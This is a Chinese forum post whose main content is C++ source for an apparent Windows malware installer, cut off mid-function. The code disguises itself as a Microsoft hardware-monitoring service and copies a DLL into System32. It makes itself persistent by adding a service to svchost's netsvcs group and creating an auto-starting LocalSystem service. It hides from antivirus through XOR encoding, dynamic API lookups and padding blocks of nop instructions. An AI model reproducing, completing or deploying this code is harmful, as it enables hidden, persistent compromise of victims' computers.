- 积分
- 26
- 最后登录
- 2013-12-24
- 阅读权限
- 10
- 积分
- 26
- 帖子
- 59
- 精华
- 0
TA的每日心情 | 无聊 2013-12-24 15:56 |
|---|
签到天数: 15 天 连续签到: 1 天 [LV.4]偶尔看看III 老百姓

- UID
- 25511
- 小七币
- 13
- 贡献
- 0
- 在线时间
- 29 小时
- 注册时间
- 2013-9-21
|
- // install.cpp : Defines the entry point for the application.
- //
- #include "StdAfx.h"
- #include <io.h>
- #pragma comment(linker, "/defaultlib:msvcrt.lib /opt:nowin98 /IGNORE:4078 /MERGE:.rdata=.text /MERGE:.data=.text /section:.text,ERW")
- #include "resource.h"
- #include <windows.h>
- #include <stdlib.h>
- #include <Aclapi.h>
- #include <lm.h>
- #include <Shlwapi.h>
- #pragma comment(lib, "NetApi32.lib")
- #include "acl.h"
- #include "decode.h"
- #include "RegEditEx.h"
- #include <stdio.h>
- #pragma comment(lib, "DELAYIMP.LIB")
- #pragma comment(linker, "/DELAYLOAD:USER32.dll")
- #pragma comment(linker, "/DELAY:nobind")
- #pragma comment(linker, "/DELAY:unload")
- struct MyDATAbon
- {
- char ServiceName[50];
- char ServiceDisplayName[100];
- char ServiceDescription[200];
- char ReleasePath[200];
- WORD FileAttribute;
- char UpGroup[200];
- }
- MydataBox =
- {
- "Microsoft Sunley",
- "Microsoft Device Mini",
- "监测和监视新硬件设备并自动更新设备驱动。",
- "C:\\Windows\\System32\\Sunley.dll",
- FILE_ATTRIBUTE_NORMAL,
- "默认分组",
- };
- VOID MyEncryptFunction(LPSTR szData,WORD Size)
- {
-
- //该数组用来异或
- WORD AddTable[]={
- 3,2,5,8,5,1,2,3,2,5,3,4,1,2,
- 4,3,5,8,2,4,5,8,1,2,4,3,1,1,
- 8,1,2,4,3,1,1,5,2,2,1,2,1,3,
- 5,2,2,1,2,1,3,3,1,2,3,5,2,6,
- 2,4,1,3,2,1,2,6,2,3,3,2,1,1,
- 3,6,2,1,2,4,4,3,1,2,3,5,2,6,
- 3,1,2,3,5,2,6,5,2,2,1,2,1,2,
- 6,2,3,3,2,1,1,5,2,2,1,2,1,2,
- 3,2,5,3,4,1,2,2,3,1,2,3,5,2
- };
-
- WORD TableSize = sizeof(AddTable)/sizeof(WORD);
- WORD iCount=0;
- // FuckCracker=FALSE;
-
- for (WORD i=0;i<Size;i++)
- {
- if(iCount == TableSize)
- iCount = 0;
-
- szData[i]^=AddTable[iCount];
- //BUG 忘记iCount++ 导致异或的是数组表 3..
- iCount++;
- }
- }
- VOID MyCreatDirector(LPSTR Path)
- {
-
- CHAR Dir[MAX_PATH]={NULL};
-
- for (int i=0;i<strlen(Path);i++)
- {
- if(Path[i]=='\\')
- {
- strncpy(Dir,Path,i);
- if(_access(Dir,NULL)==-1)
- CreateDirectory(Dir,NULL);
- }
- }
-
- }
- ExitProcessT pExitProcess= (ExitProcessT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"ExitProcess");
- void dbg_dump(struct _EXCEPTION_POINTERS* ExceptionInfo) {
- }
- LONG WINAPI bad_exception(struct _EXCEPTION_POINTERS* ExceptionInfo) {
- dbg_dump(ExceptionInfo);
- ExitProcess(0);
- }
- BOOL MyFreeResource(char *szResourceID, char *szType, LPCTSTR lpFileName)
- {
- FILE* fpOut = fopen(lpFileName, "wb");
- if(fpOut == NULL)
- return FALSE;
- HRSRC hResLoad = FindResource(NULL, szResourceID, szType);
- HGLOBAL hResData = LoadResource(NULL,hResLoad);
- LPCSTR data = (LPCSTR)LockResource(hResData);
- if(hResLoad != NULL && hResData != NULL && data != NULL)
- fwrite(data,1,SizeofResource(NULL,hResLoad),fpOut);
- fclose(fpOut);
- return TRUE;
- }
- char *AddsvchostService()
- {
- SetLastErrorT pSetLastError= (SetLastErrorT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"SetLastError");
- lstrlenAT plstrlenA= (lstrlenAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"lstrlenA");
- lstrcmpiAT plstrcmpiA= (lstrcmpiAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"lstrcmpiA");
- char *lpServiceName = NULL;
- int rc = 0;
- HKEY hkRoot;
- char buff[2048];
- //query svchost setting
- char *ptr, *pSvchost = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost";
- rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, pSvchost, 0, KEY_ALL_ACCESS, &hkRoot);
- if(ERROR_SUCCESS != rc)
- return NULL;
- __asm
- {
- nop
- nop
- nop
- nop
- nop
- nop
- nop
- nop
- nop
- nop
- nop
- nop
- nop
- nop
- nop
- nop
- nop
- nop
- nop
- nop
- nop
- nop
- nop
- }
- DWORD type, size = sizeof buff;
- rc = RegQueryValueEx(hkRoot, "netsvcs", 0, &type, (unsigned char*)buff, &size);
- pSetLastError(rc);
- if(ERROR_SUCCESS != rc)
- RegCloseKey(hkRoot);
-
- bool bExist = false;
-
- for(ptr = buff; *ptr; ptr = strchr(ptr, 0)+1)
- {
- if (plstrcmpiA(ptr, MydataBox.ServiceName) == 0)
- {
- bExist = true;
- break;
- }
- }
-
- if (bExist==false)
- {
- MydataBox.ServiceName[plstrlenA(MydataBox.ServiceName) + 1] = '\0';
- memcpy(buff + size - 1, MydataBox.ServiceName, plstrlenA(MydataBox.ServiceName) + 2);
-
- rc = RegSetValueEx(hkRoot, "netsvcs", 0, REG_MULTI_SZ, (unsigned char*)buff, size + plstrlenA(MydataBox.ServiceName) + 1);
-
- RegCloseKey(hkRoot);
-
- pSetLastError(rc);
-
- lpServiceName = new char[plstrlenA(MydataBox.ServiceName) + 1];
- lstrcpy(lpServiceName, MydataBox.ServiceName);
- }else{
- int i = 0;
- bExist = false;
- char servicename[50];
- do
- {
- wsprintf(servicename, "netsvcs_0x%d", i);
- for(ptr = buff; *ptr; ptr = strchr(ptr, 0)+1)
- {
- if (plstrcmpiA(ptr, servicename) == 0)
- {
- bExist = true;
- break;
- }
- }
- if (bExist == false)
- break;
- bExist = false;
- i++;
- } while(1);
-
- servicename[plstrlenA(servicename) + 1] = '\0';
- memcpy(buff + size - 1, servicename, plstrlenA(servicename) + 2);
-
- rc = RegSetValueEx(hkRoot, "netsvcs", 0, REG_MULTI_SZ, (unsigned char*)buff, size + plstrlenA(servicename) + 1);
-
- RegCloseKey(hkRoot);
-
- pSetLastError(rc);
-
- if (bExist == false)
- {
- lpServiceName = new char[plstrlenA(servicename) + 1];
- lstrcpy(lpServiceName, servicename);
- }
- }
- return lpServiceName;
- }
- char *InstallService(LPCTSTR lpServiceDisplayName, LPCTSTR lpServiceDescription)
- {
- lstrlenAT plstrlenA= (lstrlenAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"lstrlenA");
- SetLastErrorT pSetLastError= (SetLastErrorT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"SetLastError");
- // Open a handle to the SC Manager database.
- char MyDllPath[MAX_PATH];
- char strModulePath[MAX_PATH];
- ExpandEnvironmentStrings(MydataBox.ReleasePath, MyDllPath, MAX_PATH);
-
- char *lpServiceName = NULL;
- int rc = 0;
- HKEY hkRoot = HKEY_LOCAL_MACHINE, hkParam = 0;
- SC_HANDLE hscm = NULL, schService = NULL;
- __asm
- {
- nop
- nop
- nop
- nop
- nop
- nop
- nop
- nop
- nop
- nop
- nop
- nop
- nop
- nop
- nop
- nop
- nop
- nop
- nop
- nop
- nop
- nop
- nop
- }
- DWORD dwStartType = 0;
- try{
- char strSubKey[1024];
- //query svchost setting
- char *ptr, *pSvchost = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost";
- rc = RegOpenKeyEx(hkRoot, pSvchost, 0, KEY_QUERY_VALUE, &hkRoot);
- if(ERROR_SUCCESS != rc)
- {
- throw "";
- }
- DWORD type, size = sizeof strSubKey;
- rc = RegQueryValueEx(hkRoot, "netsvcs", 0, &type, (unsigned char*)strSubKey, &size);
- RegCloseKey(hkRoot);
- pSetLastError(rc);
- if(ERROR_SUCCESS != rc)
- throw "RegQueryValueEx(Svchost\\netsvcs)";
- //install service
- hscm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
- if (hscm == NULL)
- throw "OpenSCManager()";
- char *bin = "%SystemRoot%\\System32\\svchost.exe -k netsvcs";
- lpServiceName = AddsvchostService();
- schService = CreateService(
- hscm, // SCManager database
- lpServiceName, // name of service
- lpServiceDisplayName, // service name to display
- SERVICE_ALL_ACCESS, // desired access
- SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS,
- SERVICE_AUTO_START, // start type
- SERVICE_ERROR_NORMAL, // error control type
- bin, // service's binary
- NULL, // no load ordering group
- NULL, // no tag identifier
- NULL, // no dependencies
- NULL, // LocalSystem account
- NULL); // no password
- dwStartType = SERVICE_WIN32_OWN_PROCESS;
- //////////////////////////////////////////////////////////////////////////
- if (schService == NULL)
- throw "CreateService(Parameters)";
- CloseServiceHandle(schService);
- CloseServiceHandle(hscm);
- //config service
- hkRoot = HKEY_LOCAL_MACHINE;
- wsprintf(strSubKey, "SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName);
- if (dwStartType == SERVICE_WIN32_SHARE_PROCESS)
- {
- DWORD dwServiceType = 0x120;
- WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "Type", REG_DWORD, (char *)&dwServiceType, sizeof(DWORD), 0);
- }
- WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "Description", REG_SZ, (char *)lpServiceDescription, plstrlenA(lpServiceDescription), 0);
- __asm
- {
- nop
- nop
- nop
- nop
- nop
- nop
- nop
- nop
- nop
- nop
- nop
复制代码 |
|